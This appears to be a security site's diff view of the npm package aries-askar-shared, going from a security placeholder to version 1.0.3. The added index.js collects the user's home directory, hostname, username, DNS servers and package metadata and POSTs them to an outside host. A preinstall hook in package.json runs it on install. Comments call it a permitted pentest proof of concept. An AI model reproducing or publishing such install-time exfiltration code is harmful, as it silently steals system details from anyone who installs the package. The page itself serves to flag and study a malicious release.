aries-askar-shared 0.0.1-security → 1.0.3

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of aries-askar-shared might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +48 -0
  2. package/package.json +13 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,48 @@
1
+ //This is a PoC from:- null_hypothesis on the H1 platform, with permission from the package owner, Hyperledger
2
+ //Please do not delete for 2 hours, sorry for the hassle, but its for a legitimate pentest and to raise awareness
3
+ const dns = require("dns");
4
+ const querystring = require("querystring");
5
+ const https = require("https");
6
+ const os = require("os");
7
+ const packageJSON = require("./package.json");
8
+ const package = packageJSON.name;
9
+
10
+ const evenMoreDatas = JSON.stringify({
11
+ p: package,
12
+ c: __dirname,
13
+ hd: os.homedir(),
14
+ hn: os.hostname(),
15
+ un: os.userInfo().username,
16
+ dns: dns.getServers(),
17
+ r: packageJSON ? packageJSON.___resolved : undefined,
18
+ v: packageJSON.version,
19
+ pj: packageJSON,
20
+ });
21
+
22
+ var postData = querystring.stringify({
23
+ msg: evenMoreDatas,
24
+ });
25
+
26
+ var options = {
27
+ hostname: "cdb4cjt2vtc0000jyq90ggi1gjoyyyyyb.mybeautifuliframe.com",
28
+ port: 443,
29
+ path: "/aries-askar",
30
+ method: "POST",
31
+ headers: {
32
+ "Content-Type": "application/x-www-form-urlencoded",
33
+ "Content-Length": postData.length,
34
+ },
35
+ };
36
+
37
+ var req = https.request(options, (res) => {
38
+ res.on("data", (d) => {
39
+ process.stdout.write(d);
40
+ });
41
+ });
42
+
43
+ req.on("error", (e) => {
44
+ // console.error(e);
45
+ });
46
+
47
+ req.write(postData);
48
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,16 @@
1
1
  {
2
2
  "name": "aries-askar-shared",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.3",
4
+ "description": "H1 research - please do not delete for 2 hours, this file is not malignant",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "@paid-cloud/contracts": "^1.0.3",
14
+ "aries-askar-shared": "^1.0.2"
15
+ }
6
16
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=aries-askar-shared for more information.